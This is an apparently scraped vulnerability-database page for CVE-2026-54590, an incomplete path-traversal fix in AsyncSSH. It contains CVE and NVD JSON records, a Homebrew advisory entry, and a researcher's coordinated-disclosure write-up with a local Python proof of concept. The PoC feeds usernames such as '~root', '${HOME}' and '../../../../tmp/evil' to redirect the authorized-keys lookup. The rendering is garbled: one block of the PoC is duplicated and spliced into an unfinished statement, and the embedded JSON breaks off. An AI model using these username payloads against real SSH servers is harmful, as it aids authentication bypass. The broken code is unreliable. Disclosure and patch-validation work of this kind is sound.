Action not permitted
Modal body text goes here.
Modal Title
Modal Body
CVE-2026-54590 (GCVE-0-2026-54590)
Vulnerability from cvelistv5 – Published: 2026-07-08 20:36 – Updated: 2026-07-10 15:00| URL | Tags |
|---|---|
| https://github.com/ronf/asyncssh/security/advisor… | x_refsource_CONFIRM |
| https://github.com/ronf/asyncssh/commit/3d515ba9b… | x_refsource_MISC |
| https://github.com/ronf/asyncssh/releases/tag/v2.23.1 | x_refsource_MISC |
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-54590",
"options": [
{
"Exploitation": "poc"
},
{
"Automatable": "no"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-07-10T15:00:13.292812Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-07-10T15:00:21.849Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"references": [
{
"tags": [
"exploit"
],
"url": "https://github.com/ronf/asyncssh/security/advisories/GHSA-qr67-gv47-xwwh"
}
],
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"product": "asyncssh",
"vendor": "ronf",
"versions": [
{
"status": "affected",
"version": "\u003c 2.23.1"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "AsyncSSH is a Python package which provides an asynchronous client and server implementation of the SSHv2 protocol on top of the Python asyncio framework. Version 2.23.0 contains an incomplete fix for CVE-2026-45309 in SSHServerConfig._set_tokens that blocks /, , and .. before %u substitution in AuthorizedKeysFile but does not block a leading ~ or ${ENV}, allowing later expansion in _expand_val and Path(filename).expanduser() to escape the intended authorized-keys directory. This issue is fixed in version 2.23.1."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "HIGH",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 5.9,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N",
"version": "3.1"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-22",
"description": "CWE-22: Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027)",
"lang": "en",
"type": "CWE"
}
]
},
{
"descriptions": [
{
"cweId": "CWE-639",
"description": "CWE-639: Authorization Bypass Through User-Controlled Key",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-07-08T20:36:45.258Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/ronf/asyncssh/security/advisories/GHSA-qr67-gv47-xwwh",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/ronf/asyncssh/security/advisories/GHSA-qr67-gv47-xwwh"
},
{
"name": "https://github.com/ronf/asyncssh/commit/3d515ba9ba0cd9990d248bdf62bcf05d51261a88",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/ronf/asyncssh/commit/3d515ba9ba0cd9990d248bdf62bcf05d51261a88"
},
{
"name": "https://github.com/ronf/asyncssh/releases/tag/v2.23.1",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/ronf/asyncssh/releases/tag/v2.23.1"
}
],
"source": {
"advisory": "GHSA-qr67-gv47-xwwh",
"discovery": "UNKNOWN"
},
"title": "AsyncSSH AuthorizedKeysFile username substitution bypass through ~ and environment expansion"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-54590",
"datePublished": "2026-07-08T20:36:45.258Z",
"dateReserved": "2026-06-15T19:45:23.538Z",
"dateUpdated": "2026-07-10T15:00:21.849Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2",
"vulnerability-lookup:meta": {
"epss": {
"cve": "CVE-2026-54590",
"date": "2026-10-05",
"epss": "0.00393",
"percentile": "0.31148"
},
"nvd": {
"cve": {
"affected": [
{
"affectedData": [
{
"product": "asyncssh",
"vendor": "ronf",
"versions": [
{
"status": "affected",
"version": "\u003c 2.23.1"
}
]
}
],
"source": "security-advisories@github.com"
}
],
"cveTags": [],
"descriptions": [
{
"lang": "en",
"value": "AsyncSSH is a Python package which provides an asynchronous client and server implementation of the SSHv2 protocol on top of the Python asyncio framework. Version 2.23.0 contains an incomplete fix for CVE-2026-45309 in SSHServerConfig._set_tokens that blocks /, , and .. before %u substitution in AuthorizedKeysFile but does not block a leading ~ or ${ENV}, allowing later expansion in _expand_val and Path(filename).expanduser() to escape the intended authorized-keys directory. This issue is fixed in version 2.23.1."
}
],
"id": "CVE-2026-54590",
"lastModified": "2026-07-10T19:22:24.347",
"metrics": {
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "HIGH",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 5.9,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N",
"version": "3.1"
},
"exploitabilityScore": 2.2,
"impactScore": 3.6,
"source": "security-advisories@github.com",
"type": "Secondary"
}
],
"ssvcV203": [
{
"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"ssvcData": {
"id": "CVE-2026-54590",
"options": [
{
"exploitation": "poc"
},
{
"automatable": "no"
},
{
"technicalImpact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-07-10T15:00:13.292812Z",
"version": "2.0.3"
}
}
]
},
"published": "2026-07-08T21:16:49.523",
"references": [
{
"source": "security-advisories@github.com",
"url": "https://github.com/ronf/asyncssh/commit/3d515ba9ba0cd9990d248bdf62bcf05d51261a88"
},
{
"source": "security-advisories@github.com",
"url": "https://github.com/ronf/asyncssh/releases/tag/v2.23.1"
},
{
"source": "security-advisories@github.com",
"url": "https://github.com/ronf/asyncssh/security/advisories/GHSA-qr67-gv47-xwwh"
},
{
"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"url": "https://github.com/ronf/asyncssh/security/advisories/GHSA-qr67-gv47-xwwh"
}
],
"sourceIdentifier": "security-advisories@github.com",
"vulnStatus": "Deferred",
"weaknesses": [
{
"description": [
{
"lang": "en",
"value": "CWE-22"
},
{
"lang": "en",
"value": "CWE-639"
}
],
"source": "security-advisories@github.com",
"type": "Secondary"
}
]
}
},
"redhat_vex": {
"current_release_date": "2026-07-09T07:17:03+00:00",
"cve": "CVE-2026-54590",
"id": "CVE-2026-54590",
"initial_release_date": "2026-07-08T20:36:45.258000+00:00",
"product_status:known_not_affected": "1",
"source": "Red Hat CSAF VEX",
"status": "final",
"title": "AsyncSSH: AsyncSSH: Unauthorized file modification via authorized-keys directory escape",
"url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-54590.json",
"version": "3"
},
"vulnrichment": {
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-54590",
"options": [
{
"Exploitation": "poc"
},
{
"Automatable": "no"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-07-10T15:00:13.292812Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-07-10T14:59:58.930Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"references": [
{
"tags": [
"exploit"
],
"url": "https://github.com/ronf/asyncssh/security/advisories/GHSA-qr67-gv47-xwwh"
}
],
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"product": "asyncssh",
"vendor": "ronf",
"versions": [
{
"status": "affected",
"version": "\u003c 2.23.1"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "AsyncSSH is a Python package which provides an asynchronous client and server implementation of the SSHv2 protocol on top of the Python asyncio framework. Version 2.23.0 contains an incomplete fix for CVE-2026-45309 in SSHServerConfig._set_tokens that blocks /, , and .. before %u substitution in AuthorizedKeysFile but does not block a leading ~ or ${ENV}, allowing later expansion in _expand_val and Path(filename).expanduser() to escape the intended authorized-keys directory. This issue is fixed in version 2.23.1."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "HIGH",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 5.9,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N",
"version": "3.1"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-22",
"description": "CWE-22: Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027)",
"lang": "en",
"type": "CWE"
}
]
},
{
"descriptions": [
{
"cweId": "CWE-639",
"description": "CWE-639: Authorization Bypass Through User-Controlled Key",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-07-08T20:36:45.258Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/ronf/asyncssh/security/advisories/GHSA-qr67-gv47-xwwh",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/ronf/asyncssh/security/advisories/GHSA-qr67-gv47-xwwh"
},
{
"name": "https://github.com/ronf/asyncssh/commit/3d515ba9ba0cd9990d248bdf62bcf05d51261a88",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/ronf/asyncssh/commit/3d515ba9ba0cd9990d248bdf62bcf05d51261a88"
},
{
"name": "https://github.com/ronf/asyncssh/releases/tag/v2.23.1",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/ronf/asyncssh/releases/tag/v2.23.1"
}
],
"source": {
"advisory": "GHSA-qr67-gv47-xwwh",
"discovery": "UNKNOWN"
},
"title": "AsyncSSH AuthorizedKeysFile username substitution bypass through ~ and environment expansion"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-54590",
"datePublished": "2026-07-08T20:36:45.258Z",
"dateReserved": "2026-06-15T19:45:23.538Z",
"dateUpdated": "2026-07-10T15:00:21.849Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
}
}
BREW-DVC-CVE-2026-54590 (GHSA-QR67-GV47-XWWH)
Vulnerability from osv_homebrew – Published: 2026-08-27 12:04 – Updated: 2026-09-17 19:47 – Source websiteIncomplete fix for CVE-2026-45309 (GHSA-g794-3fmp-753h). The
2.23.0 guard that sanitises the SSH username before %u substitution
in AuthorizedKeysFile blocks /, \ and .., but does not block a
leading ~ (or ${ENV}), both of which are re-introduced by later
expansion and reach the file open — defeating the guard.
Affected: asyncssh 2.23.0 and current develop (commit a60f863,
HEAD on 2026-05-29).
## Summary
The fix for CVE-2026-45309 added a guard in
SSHServerConfig._set_tokens (asyncssh/config.py:715-716) that
rejects an SSH username containing /, \, or equal to .., before
it is substituted for the %u token in AuthorizedKeysFile:
if self._user == '..' or '/' in self._user or '\\' in self._user:
raise IllegalUserName('Unsafe username substitution')
However, the %u-substituted value is subsequently passed through
environment-variable expansion (_expand_val, config.py:145-149 —
token expansion then env expansion) and, at file-open time, through
expanduser() (read_authorized_keys → read_file →
open(Path(filename).expanduser()), auth_keys.py:348 →
misc.py:290). Both re-introduce the path control the guard was meant
to remove, so a username that contains no //\ can still cause the
server to read an authorized-keys file outside the intended per-user
directory.
The client-supplied username reaches this path pre-authentication:
_process_userauth_request takes the username from the
SSH_MSG_USERAUTH_REQUEST packet (connection.py:2516-2519) and
_finish_userauth calls reload_config() (connection.py:2536),
which re-evaluates AuthorizedKeysFile with username=self._username
(connection.py:5906) before the offered key is validated.
## Primary vector — leading ~
A username such as ~root or ~victim passes the guard (no /). For
a server whose AuthorizedKeysFile begins with %u — e.g.
AuthorizedKeysFile %u/.ssh/authorized_keys — the expanded value is
~victim/.ssh/authorized_keys, which expanduser() resolves to
/home/victim/.ssh/authorized_keys (~root → /root/...; a bare ~
→ the server process's home). The username has therefore escaped the
intended per-user location without using any path separator —
defeating the purpose of the guard.
Note: expanduser() only expands a leading ~, so this vector
requires %u to be the first path component of AuthorizedKeysFile.
(The CVE-2026-45309 authorized_keys/%u example — %u not leading —
is not reachable this way; that was the ../ form.)
## Impact and limitations
- Demonstrated (verified against source at a60f863): the guard is
bypassable and the authorized-keys lookup is redirected to an
attacker-named home tree, pre-auth, with a separator-free username.
- Impact model = identical to CVE-2026-45309: authenticating as the
redirected username when a readable authorized-keys file containing
the attacker's key is reachable at the redirected location. The parent
CVE accepted this exact precondition and was scored C:N/I:H/A:N;
this is scored consistently.
- Not built: a live multi-account SSH auth harness; the PoC verifies
the path-redirection mechanism in-process, deterministically. No new
primitive is claimed beyond the parent CVE's accepted model — only
that the 2.23.0 fix does not close it for ~/${ENV}.
- Preconditions (captured by AC:H): %u must be the leading path
component; on Python 3.13, Path('~nonexistentuser').expanduser()
raises RuntimeError, so only existing accounts are reachable
(confirmed: asyncssh 2.23.0, Python 3.13.12).
## Secondary vector — ${ENV} (defense-in-depth only)
A username like ${HOME} also passes the guard and is then
environment-expanded, re-introducing /. Weaker and not a practical
exploit: the attacker can only reference env vars that already exist
in the server process (a missing variable raises ConfigParseError)
and cannot control their values. Reported as hardening.
## Reproduction In-process, deterministic, no network. Against a checkout of asyncssh 2.23.0:
cd /path/to/asyncssh
PYTHONPATH=/path/to/asyncssh python3 poc_authkeys_token_bypass.py
Output (abridged):
[1] original CVE '../../../../tmp/evil' blocked: True (fix present)
literal-slash user '/etc' blocked: True
[A] tilde bypass user '~root':
guard blocks it? False (False == bypass)
expanded config value : ['~root/.ssh/authorized_keys']
after expanduser() : /root/.ssh/authorized_keys <-- read as authorized_keys
VERDICT: guard is bypassable via ~ and ${ENV} (incomplete fix CONFIRMED)
## Suggested fix
Tighten _set_tokens to also reject usernames that re-introduce path
control after expansion — reject a leading ~ / ~user and $/${
references in self._user. More robustly, validate that the FINAL
expanded AuthorizedKeysFile path remains within the intended base
directory, and/or suppress expanduser/environment expansion on the
%u-derived component specifically.
## Disclosure
Coordinated, ~90-day default. I will not publish details/PoC before a
fix is released, and am happy to validate the patch. Credit (if given)
to cesabici-bit.
## PoC source (see code block below)
#!/usr/bin/env python3
"""
PoC: incomplete fix for CVE-2026-45309 (AsyncSSH AuthorizedKeysFile %u path
control). Local-only, in-process, deterministic. No network.
CVE-2026-45309 (fixed in v2.23.0, commit 2af2382) added a blocklist in
SSHServerConfig._set_tokens that rejects a client username containing
'/', '\\', or equal to '..' before it is substituted for the %u token in
the server's AuthorizedKeysFile directive.
This PoC shows the blocklist is bypassable: the %u value is afterwards run
through (1) ${ENV} expansion and (2) ~ expanduser(), both of which
re-introduce the path control the guard was meant to remove.
CAVEAT (triage 2026-05-29): the PRIMARY vector is (2) ~ expanduser() — it lets
a separator-free username (e.g. '~root') escape to another home tree when %u
is the LEADING path component. Vector (1) ${ENV} is WEAK: a real attacker can
only REFERENCE env vars that already exist on the server and cannot control
their VALUES; the ${ASYNCSSH_POC_VAR} demo below sets the var itself purely to
illustrate the expansion, and does NOT represent attacker capability. Treat (1)
as defense-in-depth, (2) as the load-bearing finding. See NOTES.md / REPORT.md.
Run from a checkout of asyncssh (cwd on sys.path), e.g.:
cd /tmp/targets/asyncssh && python3 <thisfile>
"""
import os
import sys
import tempfile
from pathlib import Path
import asyncssh
from asyncssh.config import SSHServerConfig
try:
from asyncssh.misc import IllegalUserName
except Exception: # pragma: no cover
IllegalUserName = asyncssh.IllegalUserName
def expand_authkeys(user, cfg_text):
"""Load a server config exactly as SSHServerConnection does and return the
expanded AuthorizedKeysFile value (a list). Raises IllegalUserName if the
CVE-2026-45309 guard fires."""
with tempfile.NamedTemporaryFile("w", suffix=".conf", delete=False) as f:
f.write(cfg_text)
cfg_path = f.name
try:
# mirror connection.py:8897
# SSHServerConfig.load(last_config, config, reload, canonical, final,
# accept_addr, accept_port, username,
# client_host, client_addr)
cfg = SSHServerConfig.load(
None, cfg_path, True, False, False,
"127.0.0.1", 22, user, "client.example", "203.0.113.7",
)
return cfg.get("AuthorizedKeysFile")
finally:
os.unlink(cfg_path)
def guard_blocks(user, cfg_text):
"""Return True if the CVE-2026-45309 guard rejects this username."""
try:
expand_authkeys(user, cfg_text)
return False
except IllegalUserName:
return True
def main():
print(f"# asyncssh {asyncssh.__version__} ({asyncssh.__file__})")
print(f"# python {sys.version.split()[0]}\n")
results = []
# ---- Sanity 0: benign username expands normally -----------------------
cfg = "AuthorizedKeysFile /etc/ssh/authorized_keys.d/%u"
val = expand_authkeys("alice", cfg)
print(f"[0] benign user 'alice': {val}")
results.append(("benign expands to per-user path",
val == ["/etc/ssh/authorized_keys.d/alice"]))
# ---- Sanity 1: original CVE-2026-45309 is blocked ---------------------
blocked = guard_blocks("../../../../tmp/evil", cfg)
print(f"[1] original CVE '../../../../tmp/evil' blocked: {blocked}")
results.append(("original CVE traversal is blocked (fix present)", blocked))
# also: a literal slash is blocked (the guard's whole purpose)
slash_blocked = guard_blocks("/etc", cfg)
print(f" literal-slash user '/etc' blocked: {slash_blocked}")
results.append(("literal-slash username is blocked", slash_blocked))
print()
# ---- BYPASS A: ~ tilde survives the guard, reaches expanduser() -------
cfg_a = "AuthorizedKeysFile %u/.ssh/authorized_keys"
blocked_a = guard_blocks("~root", cfg_a)
val_a = expand_authkeys("~root", cfg_a)
resolved_a = str(Path(val_a[0]).expanduser()) # what read_file()/open_file() does
print(f"[A] tilde bypass user '~root':")
print(f" guard blocks it? {blocked_a} (False == bypass)")
print(f" expanded config value : {val_a}")
print(f" after expanduser() : {resolved_a} <-- read as authorized_keys")
results.append(("A: ~user NOT blocked by guard", not blocked_a))
results.append(("A: expanduser() redirects to another home tree",
resolved_a.startswith("/root/") or "~" not in resolved_a))
print()
# ---- BYPASS B: ${ENV} survives the guard, re-introduces '/' -----------
# The username contains no '/','\\' and is not '..', so the guard passes.
# Token expansion makes %u -> '${HOME}', then ENV expansion substitutes a
# server value that DOES contain '/', defeating the separator filter.
cfg_b = "AuthorizedKeysFile %u"
os.environ.setdefault("HOME", "/root")
blocked_b = guard_blocks("${HOME}", cfg_b)
val_b = expand_authkeys("${HOME}", cfg_b)
print(f"[B] env bypass user '${{HOME}}':")
print(f" guard blocks it? {blocked_b} (False == bypass)")
print(f" expanded config value : {val_b} (HOME={os.environ['HOME']})")
sep_injected = any("/" in p for p in val_b)
print(f" contains '/' after guard? {sep_injected} <-- separator filter bypassed")
results.append(("B: ${ENV} username NOT blocked by guard", not blocked_b))
results.append(("B: ${ENV} re-introduces '/' the guard rejected literally",
sep_injected))
# demonstrate arbitrary '/'-containing absolute path via a referenced var
os.environ["ASYNCSSH_POC_VAR"] = "/tmp/asyncssh_poc/INJECTED/authorized_keys"
val_b2 = expand_authkeys("${ASYNCSSH_POC_VAR}", cfg_b)
print(f" via referenced env var: {val_b2}")
results.append(("B: env value yields absolute '/'-path post-guard",
val_b2 == ["/tmp/asyncssh_poc/INJECTED/authorized_keys"]))
# ---- verdict ----------------------------------------------------------
print("\n==== RESULTS ====")
ok = True
for name, passed in results:
print(f" [{'PASS' if passed else 'FAIL'}] {name}")
ok = ok and passed
print("\nVERDICT:",
print()
# ---- BYPASS B: ${ENV} survives the guard, re-introduces '/' -----------
# The username contains no '/','\\' and is not '..', so the guard passes.
# Token expansion makes %u -> '${HOME}', then ENV expansion substitutes a
# server value that DOES contain '/', defeating the separator filter.
cfg_b = "AuthorizedKeysFile %u"
os.environ.setdefault("HOME", "/root")
blocked_b = guard_blocks("${HOME}", cfg_b)
val_b = expand_authkeys("${HOME}", cfg_b)
print(f"[B] env bypass user '${{HOME}}':")
print(f" guard blocks it? {blocked_b} (False == bypass)")
print(f" expanded config value : {val_b} (HOME={os.environ['HOME']})")
sep_injected = any("/" in p for p in val_b)
print(f" contains '/' after guard? {sep_injected} <-- separator filter bypassed")
results.append(("B: ${ENV} username NOT blocked by guard", not blocked_b))
results.append(("B: ${ENV} re-introduces '/' the guard rejected literally",
sep_injected))
# demonstrate arbitrary '/'-containing absolute path via a referenced var
os.environ["ASYNCSSH_POC_VAR"] = "/tmp/asyncssh_poc/INJECTED/authorized_keys"
val_b2 = expand_authkeys("${ASYNCSSH_POC_VAR}", cfg_b)
print(f" via referenced env var: {val_b2}")
results.append(("B: env value yields absolute '/'-path post-guard",
val_b2 == ["/tmp/asyncssh_poc/INJECTED/authorized_keys"]))
# ---- verdict ----------------------------------------------------------
print("\n==== RESULTS ====")
ok = True
for name, passed in results:
print(f" [{'PASS' if passed else 'FAIL'}] {name}")
ok = ok and passed
print("\nVERDICT:",
"guard is bypassable via ~ and ${ENV} (incomplete fix CONFIRMED)"
if ok else "one or more checks did not hold")
return 0 if ok else 1
if __name__ == "__main__":
sys.exit(main())
{
"affected": [
{
"ecosystem_specific": {
"fix": "bump",
"range_state": "fixed",
"resource": "asyncssh",
"resource_purl": "pkg:pypi/asyncssh@2.24.0",
"upstream_fixed_in": "2.23.1"
},
"package": {
"ecosystem": "Homebrew",
"name": "dvc",
"purl": "pkg:brew/dvc"
},
"ranges": [
{
"events": [
{
"introduced": "2.7.3_1"
},
{
"fixed": "3.67.1_7"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "PyPI",
"key": "pkg:pypi/asyncssh@2.24.0",
"name": "asyncssh",
"resource": "asyncssh",
"strategy": "registry",
"subject_version": "2.24.0"
}
]
},
"details": "**Incomplete fix for CVE-2026-45309 (GHSA-g794-3fmp-753h).** The\n 2.23.0 guard that sanitises the SSH username before `%u` substitution\n in `AuthorizedKeysFile` blocks `/`, `\\` and `..`, but does not block a\n leading `~` (or `${ENV}`), both of which are re-introduced by later\n expansion and reach the file open \u2014 defeating the guard.\n\n **Affected:** asyncssh 2.23.0 and current `develop` (commit `a60f863`,\n HEAD on 2026-05-29).\n\n ## Summary\n The fix for CVE-2026-45309 added a guard in\n `SSHServerConfig._set_tokens` (`asyncssh/config.py:715-716`) that\n rejects an SSH username containing `/`, `\\`, or equal to `..`, before\n it is substituted for the `%u` token in `AuthorizedKeysFile`:\n\n if self._user == \u0027..\u0027 or \u0027/\u0027 in self._user or \u0027\\\\\u0027 in self._user:\n raise IllegalUserName(\u0027Unsafe username substitution\u0027)\n\n However, the `%u`-substituted value is subsequently passed through\n environment-variable expansion (`_expand_val`, `config.py:145-149` \u2014\n token expansion then env expansion) and, at file-open time, through\n `expanduser()` (`read_authorized_keys` \u2192 `read_file` \u2192\n `open(Path(filename).expanduser())`, `auth_keys.py:348` \u2192\n `misc.py:290`). Both re-introduce the path control the guard was meant\n to remove, so a username that contains no `/`/`\\` can still cause the\n server to read an authorized-keys file outside the intended per-user\n directory.\n\n The client-supplied username reaches this path pre-authentication:\n `_process_userauth_request` takes the username from the\n `SSH_MSG_USERAUTH_REQUEST` packet (`connection.py:2516-2519`) and\n `_finish_userauth` calls `reload_config()` (`connection.py:2536`),\n which re-evaluates `AuthorizedKeysFile` with `username=self._username`\n (`connection.py:5906`) before the offered key is validated.\n\n ## Primary vector \u2014 leading `~`\n A username such as `~root` or `~victim` passes the guard (no `/`). For\n a server whose `AuthorizedKeysFile` begins with `%u` \u2014 e.g.\n `AuthorizedKeysFile %u/.ssh/authorized_keys` \u2014 the expanded value is\n `~victim/.ssh/authorized_keys`, which `expanduser()` resolves to\n `/home/victim/.ssh/authorized_keys` (`~root` \u2192 `/root/...`; a bare `~`\n \u2192 the server process\u0027s home). The username has therefore escaped the\n intended per-user location without using any path separator \u2014\n defeating the purpose of the guard.\n\n Note: `expanduser()` only expands a leading `~`, so this vector\n requires `%u` to be the first path component of `AuthorizedKeysFile`.\n (The CVE-2026-45309 `authorized_keys/%u` example \u2014 `%u` not leading \u2014\n is not reachable this way; that was the `../` form.)\n\n ## Impact and limitations\n - Demonstrated (verified against source at `a60f863`): the guard is\n bypassable and the authorized-keys lookup is redirected to an\n attacker-named home tree, pre-auth, with a separator-free username.\n - Impact model = identical to CVE-2026-45309: authenticating as the\n redirected username when a readable authorized-keys file containing\n the attacker\u0027s key is reachable at the redirected location. The parent\n CVE accepted this exact precondition and was scored `C:N/I:H/A:N`;\n this is scored consistently.\n - Not built: a live multi-account SSH auth harness; the PoC verifies\n the path-redirection mechanism in-process, deterministically. No new\n primitive is claimed beyond the parent CVE\u0027s accepted model \u2014 only\n that the 2.23.0 fix does not close it for `~`/`${ENV}`.\n - Preconditions (captured by AC:H): `%u` must be the leading path\n component; on Python 3.13, `Path(\u0027~nonexistentuser\u0027).expanduser()`\n raises `RuntimeError`, so only existing accounts are reachable\n (confirmed: asyncssh 2.23.0, Python 3.13.12).\n\n ## Secondary vector \u2014 `${ENV}` (defense-in-depth only)\n A username like `${HOME}` also passes the guard and is then\n environment-expanded, re-introducing `/`. Weaker and not a practical\n exploit: the attacker can only reference env vars that already exist\n in the server process (a missing variable raises `ConfigParseError`)\n and cannot control their values. Reported as hardening.\n\n ## Reproduction\n In-process, deterministic, no network. Against a checkout of asyncssh\n 2.23.0:\n\n cd /path/to/asyncssh\n PYTHONPATH=/path/to/asyncssh python3 poc_authkeys_token_bypass.py\n\n Output (abridged):\n\n [1] original CVE \u0027../../../../tmp/evil\u0027 blocked: True (fix present)\n literal-slash user \u0027/etc\u0027 blocked: True\n [A] tilde bypass user \u0027~root\u0027:\n guard blocks it? False (False == bypass)\n expanded config value : [\u0027~root/.ssh/authorized_keys\u0027]\n after expanduser() : /root/.ssh/authorized_keys \u003c-- read as authorized_keys\n VERDICT: guard is bypassable via ~ and ${ENV} (incomplete fix CONFIRMED)\n\n ## Suggested fix\n Tighten `_set_tokens` to also reject usernames that re-introduce path\n control after expansion \u2014 reject a leading `~` / `~user` and `$`/`${`\n references in `self._user`. More robustly, validate that the FINAL\n expanded `AuthorizedKeysFile` path remains within the intended base\n directory, and/or suppress `expanduser`/environment expansion on the\n `%u`-derived component specifically.\n\n ## Disclosure\n Coordinated, ~90-day default. I will not publish details/PoC before a\n fix is released, and am happy to validate the patch. Credit (if given)\n to `cesabici-bit`.\n\n ## PoC source\n (see code block below)\n\n```python\n #!/usr/bin/env python3\n \"\"\"\n PoC: incomplete fix for CVE-2026-45309 (AsyncSSH AuthorizedKeysFile %u path\n control). Local-only, in-process, deterministic. No network.\n\n CVE-2026-45309 (fixed in v2.23.0, commit 2af2382) added a blocklist in\n SSHServerConfig._set_tokens that rejects a client username containing\n \u0027/\u0027, \u0027\\\\\u0027, or equal to \u0027..\u0027 before it is substituted for the %u token in\n the server\u0027s AuthorizedKeysFile directive.\n\n This PoC shows the blocklist is bypassable: the %u value is afterwards run\n through (1) ${ENV} expansion and (2) ~ expanduser(), both of which\n re-introduce the path control the guard was meant to remove.\n\n CAVEAT (triage 2026-05-29): the PRIMARY vector is (2) ~ expanduser() \u2014 it lets\n a separator-free username (e.g. \u0027~root\u0027) escape to another home tree when %u\n is the LEADING path component. Vector (1) ${ENV} is WEAK: a real attacker can\n only REFERENCE env vars that already exist on the server and cannot control\n their VALUES; the ${ASYNCSSH_POC_VAR} demo below sets the var itself purely to\n illustrate the expansion, and does NOT represent attacker capability. Treat (1)\n as defense-in-depth, (2) as the load-bearing finding. See NOTES.md / REPORT.md.\n\n Run from a checkout of asyncssh (cwd on sys.path), e.g.:\n cd /tmp/targets/asyncssh \u0026\u0026 python3 \u003cthisfile\u003e\n \"\"\"\n\n import os\n import sys\n import tempfile\n from pathlib import Path\n\n import asyncssh\n from asyncssh.config import SSHServerConfig\n\n try:\n from asyncssh.misc import IllegalUserName\n except Exception: # pragma: no cover\n IllegalUserName = asyncssh.IllegalUserName\n\n\n def expand_authkeys(user, cfg_text):\n \"\"\"Load a server config exactly as SSHServerConnection does and return the\n expanded AuthorizedKeysFile value (a list). Raises IllegalUserName if the\n CVE-2026-45309 guard fires.\"\"\"\n with tempfile.NamedTemporaryFile(\"w\", suffix=\".conf\", delete=False) as f:\n f.write(cfg_text)\n cfg_path = f.name\n try:\n # mirror connection.py:8897\n # SSHServerConfig.load(last_config, config, reload, canonical, final,\n # accept_addr, accept_port, username,\n # client_host, client_addr)\n cfg = SSHServerConfig.load(\n None, cfg_path, True, False, False,\n \"127.0.0.1\", 22, user, \"client.example\", \"203.0.113.7\",\n )\n return cfg.get(\"AuthorizedKeysFile\")\n finally:\n os.unlink(cfg_path)\n\n\n def guard_blocks(user, cfg_text):\n \"\"\"Return True if the CVE-2026-45309 guard rejects this username.\"\"\"\n try:\n expand_authkeys(user, cfg_text)\n return False\n except IllegalUserName:\n return True\n\n\n def main():\n print(f\"# asyncssh {asyncssh.__version__} ({asyncssh.__file__})\")\n print(f\"# python {sys.version.split()[0]}\\n\")\n\n results = []\n\n # ---- Sanity 0: benign username expands normally -----------------------\n cfg = \"AuthorizedKeysFile /etc/ssh/authorized_keys.d/%u\"\n val = expand_authkeys(\"alice\", cfg)\n print(f\"[0] benign user \u0027alice\u0027: {val}\")\n results.append((\"benign expands to per-user path\",\n val == [\"/etc/ssh/authorized_keys.d/alice\"]))\n\n # ---- Sanity 1: original CVE-2026-45309 is 